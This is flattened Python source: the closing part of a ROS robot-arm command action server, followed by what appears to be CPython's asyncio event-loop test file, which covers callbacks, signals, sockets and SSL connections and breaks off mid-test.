cmd.rpy.pitch, cmd.rpy.yaw) elif cmd_type == CommandType.POSITION: self.arm_commander.set_position_target(cmd.position.x, cmd.position.y, cmd.position.z) elif cmd_type == CommandType.RPY: self.arm_commander.set_rpy_target(cmd.rpy.roll, cmd.rpy.pitch, cmd.rpy.yaw) elif cmd_type == CommandType.SHIFT_POSE: self.arm_commander.set_shift_pose_target(cmd.shift.axis_number, cmd.shift.value) elif cmd_type == CommandType.POSE_QUAT: self.arm_commander.set_pose_quat_target(cmd.pose_quat) elif cmd_type == CommandType.SAVED_POSITION: self.set_saved_position(cmd) status, message = self.compute_and_execute_plan() return status, message def cancel_command(self): self.arm_commander.stop_current_plan() self.tool_commander.stop_tool_command() # todo handle goal cancelation for tools (client side) def callback_stop_command(self, req): self.cancel_command() return True, "Command stopped" # Robot action server functions # - Check if no other command is being processed # - Validate params # - Execute command and return status + message # - Cancel command if asked def start(self): self.server.start() rospy.loginfo("Action Server started (Robot Commander)") @staticmethod def create_result(status, message): result = RobotMoveResult() result.status = status result.message = message return result def callback_learning_mode(self, msg): activate = msg.data if not self.learning_mode_on and activate: self.cancel_current_command() self.learning_mode_on = activate def callback_joystick_enabled(self, msg): self.joystick_enabled = msg.data def callback_hardware_status(self, msg): self.hardware_status = msg def callback_is_active(self, req): if self.current_goal_handle is not None: return 1 return 0 def on_goal(self, goal_handle): rospy.loginfo("Robot Action Server - Received goal. Check if exists") # Check if hw status has been received at least once if self.hardware_status is None: result = self.create_result(CommandStatus.HARDWARE_NOT_OK, "Hardware Status still not received, please restart the robot") goal_handle.set_rejected(result) return # Check if motor connection problem if not self.hardware_status.connection_up: result = self.create_result(CommandStatus.HARDWARE_NOT_OK, "Motor connection problem, you can't send a command now") goal_handle.set_rejected(result) return # Check if calibration is needed if self.hardware_status.calibration_needed == 1: result = self.create_result(CommandStatus.HARDWARE_NOT_OK, "You need to calibrate the robot before sending a command") goal_handle.set_rejected(result) return # Check if calibration is in progress if self.hardware_status.calibration_in_progress: result = self.create_result(CommandStatus.HARDWARE_NOT_OK, "Calibration in progress, wait until it ends to send a command") goal_handle.set_rejected(result) return # Check if joystick enabled if self.joystick_enabled: result = self.create_result(CommandStatus.JOYSTICK_ENABLED, "You need to deactivate joystick to execute a new command") goal_handle.set_rejected(result) return # check if still have a goal -> set_rejected() if self.current_goal_handle is not None: result = self.create_result(CommandStatus.GOAL_STILL_ACTIVE, "Current command is still active. Cancel it if you want to execute a new one") goal_handle.set_rejected(result) return # validate parameters -> set_rejected (msg : validation or commander error) try: rospy.loginfo("Robot Action Server - Checking parameters Validity") self.validate_params(goal_handle.goal.goal.cmd) except RobotCommanderException as e: result = self.create_result(e.status, e.message) goal_handle.set_rejected(result) rospy.loginfo("Robot Action Server - Invalid parameters") return # Check if learning mode ON if self.learning_mode_on: if not self.activate_learning_mode(False): result = self.create_result(CommandStatus.LEARNING_MODE_ON, "Learning mode could not be deactivated") goal_handle.set_rejected(result) return # set accepted self.current_goal_handle = goal_handle self.current_goal_handle.set_accepted() rospy.loginfo("Robot Action Server - Goal has been accepted") # Launch compute + execution in a new thread w = threading.Thread(name="worker", target=self.execute_command_action) w.start() rospy.loginfo("Robot Action Server : Executing command in a new thread") def on_cancel(self, goal_handle): rospy.loginfo("Received cancel command") if goal_handle == self.current_goal_handle: self.cancel_current_command() else: rospy.loginfo("Robot Action Server - No current goal, nothing to do") def execute_command_action(self): cmd = self.current_goal_handle.goal.goal.cmd result = self.create_result(CommandStatus.ROS_ERROR, "error with executing command") response = None try: (status, message) = self.execute_command(cmd) response = self.create_result(status, message) result = response except RobotCommanderException as e: result = self.create_result(e.status, e.message) rospy.loginfo("An exception was thrown during command execution") if not response: self.current_goal_handle.set_aborted(result) rospy.logwarn("Execution has been aborted") elif response.status == CommandStatus.SUCCESS: self.current_goal_handle.set_succeeded(result) rospy.loginfo("Goal has been set as succeeded") elif response.status == CommandStatus.STOPPED: self.current_goal_handle.set_canceled(result) rospy.loginfo("Goal has been successfully canceled") elif response.status == CommandStatus.CONTROLLER_PROBLEMS: self.current_goal_handle.set_aborted(result) rospy.logwarn("Controller failed during execution : Goal has been aborted.\n" + \ "This is due to either a collision, or a motor unable to follow a given command" + \ " (overload, extreme positions, ...)") else: self.current_goal_handle.set_aborted(result) rospy.loginfo("Unknown result, goal has been set as aborted") self.current_goal_handle = None # Send a cancel signal to Moveit interface def cancel_current_command(self): try: self.cancel_command() except RobotCommanderException: rospy.logwarn("Could not cancel current command ") def validate_params(self, cmd): cmd_type = cmd.cmd_type if cmd_type == CommandType.JOINTS: self.parameters_validation.validate_joints(cmd.joints) elif cmd_type == CommandType.POSE: self.parameters_validation.validate_position(cmd.position) self.parameters_validation.validate_orientation(cmd.rpy) elif cmd_type == CommandType.POSITION: self.parameters_validation.validate_position(cmd.position) elif cmd_type == CommandType.RPY: self.parameters_validation.validate_orientation(cmd.rpy) elif cmd_type == CommandType.SHIFT_POSE: self.parameters_validation.validate_shift_pose(cmd.shift) elif cmd_type == CommandType.EXECUTE_TRAJ: self.parameters_validation.validate_trajectory(cmd.Trajectory) elif cmd_type == CommandType.TOOL: self.parameters_validation.validate_tool_command(cmd.tool_cmd) elif cmd_type == CommandType.POSE_QUAT: self.parameters_validation.validate_position(cmd.pose_quat.position) self.parameters_validation.validate_orientation_quaternion(cmd.pose_quat.orientation) elif cmd_type == CommandType.SAVED_POSITION: self.validate_saved_position(cmd.saved_position_name) elif CommandType.SAVED_TRAJECTORY: self.validate_saved_trajectory(cmd) else: raise RobotCommanderException(CommandStatus.INVALID_PARAMETERS, "Wrong command type") def validate_saved_trajectory(self, cmd): rospy.loginfo("Checking saved trajectory validity") saved_traj = self.trajectory_manager.get_trajectory(cmd.saved_trajectory_id) if saved_traj is None: raise RobotCommanderException(CommandStatus.INVALID_PARAMETERS, "Saved trajectory not found") self.parameters_validation.validate_trajectory(saved_traj.trajectory_plan) def validate_saved_position(self, position_name): rospy.loginfo("Checking joints validity") saved_position = self.pos_manager.get_position(position_name) if saved_position is None: raise RobotCommanderException(CommandStatus.INVALID_PARAMETERS, "Saved position not found") self.parameters_validation.validate_joints(saved_position.joints) if __name__ == '__main__': pass
test_events.py
"""Tests for events.py.""" import collections.abc import concurrent.futures import functools import io import os import platform import re import signal import socket try: import ssl except ImportError: ssl = None import subprocess import sys import threading import time import errno import unittest from unittest import mock import weakref if sys.platform != 'win32': import tty import asyncio from asyncio import coroutines from asyncio import events from asyncio import proactor_events from asyncio import selector_events from test.test_asyncio import utils as test_utils from test import support def tearDownModule(): asyncio.set_event_loop_policy(None) def broken_unix_getsockname(): """Return True if the platform is Mac OS 10.4 or older.""" if sys.platform.startswith("aix"): return True elif sys.platform != 'darwin': return False version = platform.mac_ver()[0] version = tuple(map(int, version.split('.'))) return version < (10, 5) def _test_get_event_loop_new_process__sub_proc(): async def doit(): return 'hello' loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) return loop.run_until_complete(doit()) class CoroLike: def send(self, v): pass def throw(self, *exc): pass def close(self): pass def __await__(self): pass class MyBaseProto(asyncio.Protocol): connected = None done = None def __init__(self, loop=None): self.transport = None self.state = 'INITIAL' self.nbytes = 0 if loop is not None: self.connected = loop.create_future() self.done = loop.create_future() def connection_made(self, transport): self.transport = transport assert self.state == 'INITIAL', self.state self.state = 'CONNECTED' if self.connected: self.connected.set_result(None) def data_received(self, data): assert self.state == 'CONNECTED', self.state self.nbytes += len(data) def eof_received(self): assert self.state == 'CONNECTED', self.state self.state = 'EOF' def connection_lost(self, exc): assert self.state in ('CONNECTED', 'EOF'), self.state self.state = 'CLOSED' if self.done: self.done.set_result(None) class MyProto(MyBaseProto): def connection_made(self, transport): super().connection_made(transport) transport.write(b'GET / HTTP/1.0\r\nHost: example.com\r\n\r\n') class MyDatagramProto(asyncio.DatagramProtocol): done = None def __init__(self, loop=None): self.state = 'INITIAL' self.nbytes = 0 if loop is not None: self.done = loop.create_future() def connection_made(self, transport): self.transport = transport assert self.state == 'INITIAL', self.state self.state = 'INITIALIZED' def datagram_received(self, data, addr): assert self.state == 'INITIALIZED', self.state self.nbytes += len(data) def error_received(self, exc): assert self.state == 'INITIALIZED', self.state def connection_lost(self, exc): assert self.state == 'INITIALIZED', self.state self.state = 'CLOSED' if self.done: self.done.set_result(None) class MyReadPipeProto(asyncio.Protocol): done = None def __init__(self, loop=None): self.state = ['INITIAL'] self.nbytes = 0 self.transport = None if loop is not None: self.done = loop.create_future() def connection_made(self, transport): self.transport = transport assert self.state == ['INITIAL'], self.state self.state.append('CONNECTED') def data_received(self, data): assert self.state == ['INITIAL', 'CONNECTED'], self.state self.nbytes += len(data) def eof_received(self): assert self.state == ['INITIAL', 'CONNECTED'], self.state self.state.append('EOF') def connection_lost(self, exc): if 'EOF' not in self.state: self.state.append('EOF') # It is okay if EOF is missed. assert self.state == ['INITIAL', 'CONNECTED', 'EOF'], self.state self.state.append('CLOSED') if self.done: self.done.set_result(None) class MyWritePipeProto(asyncio.BaseProtocol): done = None def __init__(self, loop=None): self.state = 'INITIAL' self.transport = None if loop is not None: self.done = loop.create_future() def connection_made(self, transport): self.transport = transport assert self.state == 'INITIAL', self.state self.state = 'CONNECTED' def connection_lost(self, exc): assert self.state == 'CONNECTED', self.state self.state = 'CLOSED' if self.done: self.done.set_result(None) class MySubprocessProtocol(asyncio.SubprocessProtocol): def __init__(self, loop): self.state = 'INITIAL' self.transport = None self.connected = loop.create_future() self.completed = loop.create_future() self.disconnects = {fd: loop.create_future() for fd in range(3)} self.data = {1: b'', 2: b''} self.returncode = None self.got_data = {1: asyncio.Event(loop=loop), 2: asyncio.Event(loop=loop)} def connection_made(self, transport): self.transport = transport assert self.state == 'INITIAL', self.state self.state = 'CONNECTED' self.connected.set_result(None) def connection_lost(self, exc): assert self.state == 'CONNECTED', self.state self.state = 'CLOSED' self.completed.set_result(None) def pipe_data_received(self, fd, data): assert self.state == 'CONNECTED', self.state self.data[fd] += data self.got_data[fd].set() def pipe_connection_lost(self, fd, exc): assert self.state == 'CONNECTED', self.state if exc: self.disconnects[fd].set_exception(exc) else: self.disconnects[fd].set_result(exc) def process_exited(self): assert self.state == 'CONNECTED', self.state self.returncode = self.transport.get_returncode() class EventLoopTestsMixin: def setUp(self): super().setUp() self.loop = self.create_event_loop() self.set_event_loop(self.loop) def tearDown(self): # just in case if we have transport close callbacks if not self.loop.is_closed(): test_utils.run_briefly(self.loop) self.doCleanups() support.gc_collect() super().tearDown() def test_run_until_complete_nesting(self): async def coro1(): await asyncio.sleep(0) async def coro2(): self.assertTrue(self.loop.is_running()) self.loop.run_until_complete(coro1()) with self.assertWarnsRegex( RuntimeWarning, r"coroutine \S+ was never awaited" ): self.assertRaises( RuntimeError, self.loop.run_until_complete, coro2()) # Note: because of the default Windows timing granularity of # 15.6 msec, we use fairly long sleep times here (~100 msec). def test_run_until_complete(self): t0 = self.loop.time() self.loop.run_until_complete(asyncio.sleep(0.1)) t1 = self.loop.time() self.assertTrue(0.08 <= t1-t0 <= 0.8, t1-t0) def test_run_until_complete_stopped(self): async def cb(): self.loop.stop() await asyncio.sleep(0.1) task = cb() self.assertRaises(RuntimeError, self.loop.run_until_complete, task) def test_call_later(self): results = [] def callback(arg): results.append(arg) self.loop.stop() self.loop.call_later(0.1, callback, 'hello world') t0 = time.monotonic() self.loop.run_forever() t1 = time.monotonic() self.assertEqual(results, ['hello world']) self.assertTrue(0.08 <= t1-t0 <= 0.8, t1-t0) def test_call_soon(self): results = [] def callback(arg1, arg2): results.append((arg1, arg2)) self.loop.stop() self.loop.call_soon(callback, 'hello', 'world') self.loop.run_forever() self.assertEqual(results, [('hello', 'world')]) def test_call_soon_threadsafe(self): results = [] lock = threading.Lock() def callback(arg): results.append(arg) if len(results) >= 2: self.loop.stop() def run_in_thread(): self.loop.call_soon_threadsafe(callback, 'hello') lock.release() lock.acquire() t = threading.Thread(target=run_in_thread) t.start() with lock: self.loop.call_soon(callback, 'world') self.loop.run_forever() t.join() self.assertEqual(results, ['hello', 'world']) def test_call_soon_threadsafe_same_thread(self): results = [] def callback(arg): results.append(arg) if len(results) >= 2: self.loop.stop() self.loop.call_soon_threadsafe(callback, 'hello') self.loop.call_soon(callback, 'world') self.loop.run_forever() self.assertEqual(results, ['hello', 'world']) def test_run_in_executor(self): def run(arg): return (arg, threading.get_ident()) f2 = self.loop.run_in_executor(None, run, 'yo') res, thread_id = self.loop.run_until_complete(f2) self.assertEqual(res, 'yo') self.assertNotEqual(thread_id, threading.get_ident()) def test_run_in_executor_cancel(self): called = False def patched_call_soon(*args): nonlocal called called = True def run(): time.sleep(0.05) f2 = self.loop.run_in_executor(None, run) f2.cancel() self.loop.close() self.loop.call_soon = patched_call_soon self.loop.call_soon_threadsafe = patched_call_soon time.sleep(0.4) self.assertFalse(called) def test_reader_callback(self): r, w = socket.socketpair() r.setblocking(False) bytes_read = bytearray() def reader(): try: data = r.recv(1024) except BlockingIOError: # Spurious readiness notifications are possible # at least on Linux -- see man select. return if data: bytes_read.extend(data) else: self.assertTrue(self.loop.remove_reader(r.fileno())) r.close() self.loop.add_reader(r.fileno(), reader) self.loop.call_soon(w.send, b'abc') test_utils.run_until(self.loop, lambda: len(bytes_read) >= 3) self.loop.call_soon(w.send, b'def') test_utils.run_until(self.loop, lambda: len(bytes_read) >= 6) self.loop.call_soon(w.close) self.loop.call_soon(self.loop.stop) self.loop.run_forever() self.assertEqual(bytes_read, b'abcdef') def test_writer_callback(self): r, w = socket.socketpair() w.setblocking(False) def writer(data): w.send(data) self.loop.stop() data = b'x' * 1024 self.loop.add_writer(w.fileno(), writer, data) self.loop.run_forever() self.assertTrue(self.loop.remove_writer(w.fileno())) self.assertFalse(self.loop.remove_writer(w.fileno())) w.close() read = r.recv(len(data) * 2) r.close() self.assertEqual(read, data) @unittest.skipUnless(hasattr(signal, 'SIGKILL'), 'No SIGKILL') def test_add_signal_handler(self): caught = 0 def my_handler(): nonlocal caught caught += 1 # Check error behavior first. self.assertRaises( TypeError, self.loop.add_signal_handler, 'boom', my_handler) self.assertRaises( TypeError, self.loop.remove_signal_handler, 'boom') self.assertRaises( ValueError, self.loop.add_signal_handler, signal.NSIG+1, my_handler) self.assertRaises( ValueError, self.loop.remove_signal_handler, signal.NSIG+1) self.assertRaises( ValueError, self.loop.add_signal_handler, 0, my_handler) self.assertRaises( ValueError, self.loop.remove_signal_handler, 0) self.assertRaises( ValueError, self.loop.add_signal_handler, -1, my_handler) self.assertRaises( ValueError, self.loop.remove_signal_handler, -1) self.assertRaises( RuntimeError, self.loop.add_signal_handler, signal.SIGKILL, my_handler) # Removing SIGKILL doesn't raise, since we don't call signal(). self.assertFalse(self.loop.remove_signal_handler(signal.SIGKILL)) # Now set a handler and handle it. self.loop.add_signal_handler(signal.SIGINT, my_handler) os.kill(os.getpid(), signal.SIGINT) test_utils.run_until(self.loop, lambda: caught) # Removing it should restore the default handler. self.assertTrue(self.loop.remove_signal_handler(signal.SIGINT)) self.assertEqual(signal.getsignal(signal.SIGINT), signal.default_int_handler) # Removing again returns False. self.assertFalse(self.loop.remove_signal_handler(signal.SIGINT)) @unittest.skipUnless(hasattr(signal, 'SIGALRM'), 'No SIGALRM') def test_signal_handling_while_selecting(self): # Test with a signal actually arriving during a select() call. caught = 0 def my_handler(): nonlocal caught caught += 1 self.loop.stop() self.loop.add_signal_handler(signal.SIGALRM, my_handler) signal.setitimer(signal.ITIMER_REAL, 0.01, 0) # Send SIGALRM once. self.loop.call_later(60, self.loop.stop) self.loop.run_forever() self.assertEqual(caught, 1) @unittest.skipUnless(hasattr(signal, 'SIGALRM'), 'No SIGALRM') def test_signal_handling_args(self): some_args = (42,) caught = 0 def my_handler(*args): nonlocal caught caught += 1 self.assertEqual(args, some_args) self.loop.stop() self.loop.add_signal_handler(signal.SIGALRM, my_handler, *some_args) signal.setitimer(signal.ITIMER_REAL, 0.1, 0) # Send SIGALRM once. self.loop.call_later(60, self.loop.stop) self.loop.run_forever() self.assertEqual(caught, 1) def _basetest_create_connection(self, connection_fut, check_sockname=True): tr, pr = self.loop.run_until_complete(connection_fut) self.assertIsInstance(tr, asyncio.Transport) self.assertIsInstance(pr, asyncio.Protocol) self.assertIs(pr.transport, tr) if check_sockname: self.assertIsNotNone(tr.get_extra_info('sockname')) self.loop.run_until_complete(pr.done) self.assertGreater(pr.nbytes, 0) tr.close() def test_create_connection(self): with test_utils.run_test_server() as httpd: conn_fut = self.loop.create_connection( lambda: MyProto(loop=self.loop), *httpd.address) self._basetest_create_connection(conn_fut) @support.skip_unless_bind_unix_socket def test_create_unix_connection(self): # Issue #20682: On Mac OS X Tiger, getsockname() returns a # zero-length address for UNIX socket. check_sockname = not broken_unix_getsockname() with test_utils.run_test_unix_server() as httpd: conn_fut = self.loop.create_unix_connection( lambda: MyProto(loop=self.loop), httpd.address) self._basetest_create_connection(conn_fut, check_sockname) def check_ssl_extra_info(self, client, check_sockname=True, peername=None, peercert={}): if check_sockname: self.assertIsNotNone(client.get_extra_info('sockname')) if peername: self.assertEqual(peername, client.get_extra_info('peername')) else: self.assertIsNotNone(client.get_extra_info('peername')) self.assertEqual(peercert, client.get_extra_info('peercert')) # test SSL cipher cipher = client.get_extra_info('cipher') self.assertIsInstance(cipher, tuple) self.assertEqual(len(cipher), 3, cipher) self.assertIsInstance(cipher[0], str) self.assertIsInstance(cipher[1], str) self.assertIsInstance(cipher[2], int) # test SSL object sslobj = client.get_extra_info('ssl_object') self.assertIsNotNone(sslobj) self.assertEqual(sslobj.compression(), client.get_extra_info('compression')) self.assertEqual(sslobj.cipher(), client.get_extra_info('cipher')) self.assertEqual(sslobj.getpeercert(), client.get_extra_info('peercert')) self.assertEqual(sslobj.compression(), client.get_extra_info('compression')) def _basetest_create_ssl_connection(self, connection_fut, check_sockname=True, peername=None): tr, pr = self.loop.run_until_complete(connection_fut) self.assertIsInstance(tr, asyncio.Transport) self.assertIsInstance(pr, asyncio.Protocol) self.assertTrue('ssl' in tr.__class__.__name__.lower()) self.check_ssl_extra_info(tr, check_sockname, peername) self.loop.run_until_complete(pr.done) self.assertGreater(pr.nbytes, 0) tr.close() def _test_create_ssl_connection(self, httpd, create_connection, check_sockname=True, peername=None): conn_fut = create_connection(ssl=test_utils.dummy_ssl_context()) self._basetest_create_ssl_connection(conn_fut, check_sockname, peername) # ssl.Purpose was introduced in Python 3.4 if hasattr(ssl, 'Purpose'): def _dummy_ssl_create_context(purpose=ssl.Purpose.SERVER_AUTH, *, cafile=None, capath=None, cadata=None): """ A ssl.create_default_context() replacement that doesn't enable cert validation. """ self.assertEqual(purpose, ssl.Purpose.SERVER_AUTH) return test_utils.dummy_ssl_context() # With ssl=True, ssl.create_default_context() should be called with mock.patch('ssl.create_default_context', side_effect=_dummy_ssl_create_context) as m: conn_fut = create_connection(ssl=True) self._basetest_create_ssl_connection(conn_fut, check_sockname, peername) self.assertEqual(m.call_count, 1) # With the real ssl.create_default_context(), certificate # validation will fail with self.assertRaises(ssl.SSLError) as cm: conn_fut = create_connection(ssl=True) # Ignore the "SSL handshake failed" log in debug mode with test_utils.disable_logger(): self._basetest_create_ssl_connection(conn_fut, check_sockname, peername) self.assertEqual(cm.exception.reason, 'CERTIFICATE_VERIFY_FAILED') @unittest.skipIf(ssl is None, 'No ssl module') def test_create_ssl_connection(self): with test_utils.run_test_server(use_ssl=True) as httpd: create_connection = functools.partial( self.loop.create_connection, lambda: MyProto(loop=self.loop), *httpd.address) self._test_create_ssl_connection(httpd, create_connection, peername=httpd.address) @support.skip_unless_bind_unix_socket @unittest.skipIf(ssl is None, 'No ssl module') def test_create_ssl_unix_connection(self): # Issue #20682: On Mac OS X Tiger, getsockname() returns a # zero-length address for UNIX socket. check_sockname = not broken_unix_getsockname() with test_utils.run_test_unix_server(use_ssl=True) as httpd: create_connection = functools.partial( self.loop.create_unix_connection, lambda: MyProto(loop=self.loop), httpd.address, server_hostname='127.0.0.1') self._test_create_ssl_connection(httpd, create_connection, check_sockname, peername=httpd.address) def test_create_connection_local_addr(self): with test_utils.run_test_server() as httpd: port = support.find_unused_port() f = self.loop.create_connection( lambda: MyProto(loop=self.loop), *httpd.address, local_addr=(httpd.address[0], port)) tr, pr = self.loop.run_until_complete(f) expected = pr.transport.get_extra_info('sockname')[1] self.assertEqual(port, expected) tr.close() def test_create_connection_local_addr_in_use(self): with test_utils.run_test_server() as httpd: f = self.loop.create_connection( lambda: MyProto(loop=self.loop), *httpd.address, local_addr=httpd.address) with self.assertRaises(OSError) as cm: self.loop.run_until_complete(f) self.assertEqual(cm.exception.errno, errno.EADDRINUSE) self.assertIn(str(httpd.address), cm.exception.strerror) def test_connect_accepted_socket(self, server_ssl=None, client_ssl=None): loop = self.loop class MyProto(MyBaseProto): def connection_lost(self, exc): super().connection_lost(exc) loop.call_soon(loop.stop) def data_received(self, data): super().data_received(data) self.transport.write(expected_response) lsock = socket.create_server(('127.0.0.1', 0), backlog=1) addr = lsock.getsockname() message = b'test data' response = None expected_response = b'roger' def client(): nonlocal response try: csock = socket.socket() if client_ssl is not None: csock = client_ssl.wrap_socket(csock) csock.connect(addr) csock.sendall(message) response = csock.recv(99) csock.close() except Exception as exc: print( "Failure in client thread in test_connect_accepted_socket", exc) thread = threading.Thread(target=client, daemon=True) thread.start() conn, _ = lsock.accept() proto = MyProto(loop=loop) proto.loop = loop loop.run_until_complete( loop.connect_accepted_socket( (lambda: proto), conn, ssl=server_ssl)) loop.run_forever() proto.transport.close() lsock.close() support.join_thread(thread, timeout=1) self.assertFalse(thread.is_alive()) self.assertEqual(proto.state, 'CLOSED') self.assertEqual(proto.nbytes, len(message)) self.assertEqual(response, expected_response) @unittest.skipIf(ssl is None, 'No ssl module') def test_ssl_connect_accepted_socket(self): if (sys.platform == 'win32' and sys.version_info < (3, 5) and isinstance(self.loop, proactor_events.BaseProactorEventLoop) ): raise unittest.SkipTest( 'SSL not supported with proactor event loops before Python 3.5' ) server_context = test_utils.simple_server_sslcontext() client_context = test_utils.simple_client_sslcontext() self.test_connect_accepted_socket(server_context, client_context) def test_connect_accepted_socket_ssl_timeout_for_plain_socket(self): sock = socket.socket() self.addCleanup(sock.close) coro = self.loop.connect_accepted_socket( MyProto, sock, ssl_handshake_timeout=1) with self.assertRaisesRegex( ValueError, 'ssl_handshake_timeout is only meaningful with ssl'): self.loop.run_until_complete(coro) @mock.patch('asyncio.base_events.socket') def create_server_multiple_hosts(self, family, hosts, mock_sock): async def getaddrinfo(host, port, *args, **kw): if family == socket.AF_INET: return [(family, socket.SOCK_STREAM, 6, '', (host, port))] else: return [(family, socket.SOCK_STREAM, 6, '', (host, port, 0, 0))] def getaddrinfo_task(*args, **kwds): return self.loop.create_task(getaddrinfo(*args, **kwds)) unique_hosts = set(hosts) if family == socket.AF_INET: mock_sock.socket().getsockbyname.side_effect = [ (host, 80) for host in unique_hosts] else: mock_sock.socket().getsockbyname.side_effect = [ (host, 80, 0, 0) for host in unique_hosts] self.loop.getaddrinfo = getaddrinfo_task self.loop._start_serving = mock.Mock() self.loop._stop_serving = mock.Mock() f = self.loop.create_server(lambda: MyProto(self.loop), hosts, 80) server = self.loop.run_until_complete(f) self.addCleanup(server.close) server_hosts = {sock.getsockbyname()[0] for sock in server.sockets} self.assertEqual(server_hosts, unique_hosts) def test_create_server_multiple_hosts_ipv4(self): self.create_server_multiple_hosts(socket.AF_INET, ['1.2.3.4', '5.6.7.8', '1.2.3.4']) def test_create_server_multiple_hosts_ipv6(self): self.create_server_multiple_hosts(socket.AF_INET6, ['::1', '::2', '::1']) def test_create_server(self): proto = MyProto(self.loop) f = self.loop.create_server(lambda: proto, '0.0.0.0', 0) server = self.loop.run_until_complete(f) self.assertEqual(len(server.sockets), 1) sock = server.sockets[0] host, port = sock.getsockname() self.assertEqual(host, '0.0.0.0') client = socket.socket() client.connect(('127.0.0.1', port)) client.sendall(b'xxx') self.loop.run_until_complete(proto.connected) self.assertEqual('CONNECTED', proto.state) test_utils.run_until(self.loop, lambda: proto.nbytes > 0) self.assertEqual(3, proto.nbytes) # extra info is available self.assertIsNotNone(proto.transport.get_extra_info('sockname')) self.assertEqual('127.0.0.1', proto.transport.get_extra_info('peername')[0]) # close connection proto.transport.close() self.loop.run_until_complete(proto.done) self.assertEqual('CLOSED', proto.state) # the client socket must be closed after to avoid ECONNRESET upon # recv()/send() on the serving socket client.close() # close server server.close() @unittest.skipUnless(hasattr(socket, 'SO_REUSEPORT'), 'No SO_REUSEPORT') def test_create_server_reuse_port(self): proto = MyProto(self.loop) f = self.loop.create_server( lambda: proto, '0.0.0.0', 0) server = self.loop.run_until_complete(f) self.assertEqual(len(server.sockets), 1) sock = server.sockets[0] self.assertFalse( sock.getsockopt( socket.SOL_SOCKET, socket.SO_REUSEPORT)) server.close() test_utils.run_briefly(self.loop) proto = MyProto(self.loop) f = self.loop.create_server( lambda: proto, '0.0.0.0', 0, reuse_port=True) server = self.loop.run_until_complete(f) self.assertEqual(len(server.sockets), 1) sock = server.sockets[0] self.assertTrue( sock.getsockopt( socket.SOL_SOCKET, socket.SO_REUSEPORT)) server.close() def _make_unix_server(self, factory, **kwargs): path = test_utils.gen_unix_socket_path() self.addCleanup(lambda: os.path.exists(path) and os.unlink(path)) f = self.loop.create_unix_server(factory, path, **kwargs) server = self.loop.run_until_complete(f) return server, path @support.skip_unless_bind_unix_socket def test_create_unix_server(self): proto = MyProto(loop=self.loop) server, path = self._make_unix_server(lambda: proto) self.assertEqual(len(server.sockets), 1) client = socket.socket(socket.AF_UNIX) client.connect(path) client.sendall(b'xxx') self.loop.run_until_complete(proto.connected) self.assertEqual('CONNECTED', proto.state) test_utils.run_until(self.loop, lambda: proto.nbytes > 0) self.assertEqual(3, proto.nbytes) # close connection proto.transport.close() self.loop.run_until_complete(proto.done) self.assertEqual('CLOSED', proto.state) # the client socket must be closed after to avoid ECONNRESET upon # recv()/send() on the serving socket client.close() # close server server.close() @unittest.skipUnless(hasattr(socket, 'AF_UNIX'), 'No UNIX Sockets') def test_create_unix_server_path_socket_error(self): proto = MyProto(loop=self.loop) sock = socket.socket() with sock: f = self.loop.create_unix_server(lambda: proto, '/test', sock=sock) with self.assertRaisesRegex(ValueError, 'path and sock can not be specified ' 'at the same time'): self.loop.run_until_complete(f) def _create_ssl_context(self, certfile, keyfile=None): sslcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) sslcontext.options |= ssl.OP_NO_SSLv2 sslcontext.load_cert_chain(certfile, keyfile) return sslcontext def _make_ssl_server(self, factory, certfile, keyfile=None): sslcontext = self._create_ssl_context(certfile, keyfile) f = self.loop.create_server(factory, '127.0.0.1', 0, ssl=sslcontext) server = self.loop.run_until_complete(f) sock = server.sockets[0] host, port = sock.getsockname() self.assertEqual(host, '127.0.0.1') return server, host, port def _make_ssl_unix_server(self, factory, certfile, keyfile=None): sslcontext = self._create_ssl_context(certfile, keyfile) return self._make_unix_server(factory, ssl=sslcontext) @unittest.skipIf(ssl is None, 'No ssl module') def test_create_server_ssl(self): proto = MyProto(loop=self.loop) server, host, port = self._make_ssl_server( lambda: proto, test_utils.ONLYCERT, test_utils.ONLYKEY) f_c = self.loop.create_connection(MyBaseProto, host, port, ssl=test_utils.dummy_ssl_context()) client, pr = self.loop.run_until_complete(f_c) client.write(b'xxx') self.loop.run_until_complete(proto.connected) self.assertEqual('CONNECTED', proto.state) test_utils.run_until(self.loop, lambda: proto.nbytes > 0) self.assertEqual(3, proto.nbytes) # extra info is available self.check_ssl_extra_info(client, peername=(host, port)) # close connection proto.transport.close() self.loop.run_until_complete(proto.done) self.assertEqual('CLOSED', proto.state) # the client socket must be closed after to avoid ECONNRESET upon # recv()/send() on the serving socket client.close() # stop serving server.close() @support.skip_unless_bind_unix_socket @unittest.skipIf(ssl is None, 'No ssl module') def test_create_unix_server_ssl(self): proto = MyProto(loop=self.loop) server, path = self._make_ssl_unix_server( lambda: proto, test_utils.ONLYCERT, test_utils.ONLYKEY) f_c = self.loop.create_unix_connection( MyBaseProto, path, ssl=test_utils.dummy_ssl_context(), server_hostname='') client, pr = self.loop.run_until_complete(f_c) client.write(b'xxx') self.loop.run_until_complete(proto.connected) self.assertEqual('CONNECTED', proto.state) test_utils.run_until(self.loop, lambda: proto.nbytes > 0) self.assertEqual(3, proto.nbytes) # close connection proto.transport.close() self.loop.run_until_complete(proto.done) self.assertEqual('CLOSED', proto.state) # the client socket must be closed after to avoid ECONNRESET upon # recv()/send() on the serving socket client.close() # stop serving server.close() @unittest.skipIf(ssl is None, 'No ssl module') def test_create_server_ssl_verify_failed(self): proto = MyProto(loop=self.loop) server, host, port = self._make_ssl_server( lambda: proto, test_utils.SIGNED_CERTFILE) sslcontext_client = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) sslcontext_client.options |= ssl.OP_NO_SSLv2 sslcontext_client.verify_mode = ssl.CERT_REQUIRED if hasattr(sslcontext_client, 'check_hostname'): sslcontext_client.check_hostname = True # no CA loaded f_c = self.loop.create_connection(MyProto, host, port, ssl=sslcontext_client) with mock.patch.object(self.loop, 'call_exception_handler'): with test_utils.disable_logger(): with self.assertRaisesRegex(ssl.SSLError, '(?i)certificate.verify.failed'): self.loop.run_until_complete(f_c) # execute the loop to log the connection error test_utils.run_briefly(self.loop) # close connection self.assertIsNone(proto.transport) server.close() @support.skip_unless_bind_unix_socket @unittest.skipIf(ssl is None, 'No ssl module') def test_create_unix_server_ssl_verify_failed(self): proto = MyProto(loop=self.loop) server, path = self._make_ssl_unix_server( lambda: proto, test_utils.SIGNED_CERTFILE) sslcontext_client = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) sslcontext_client.options |= ssl.OP_NO_SSLv2 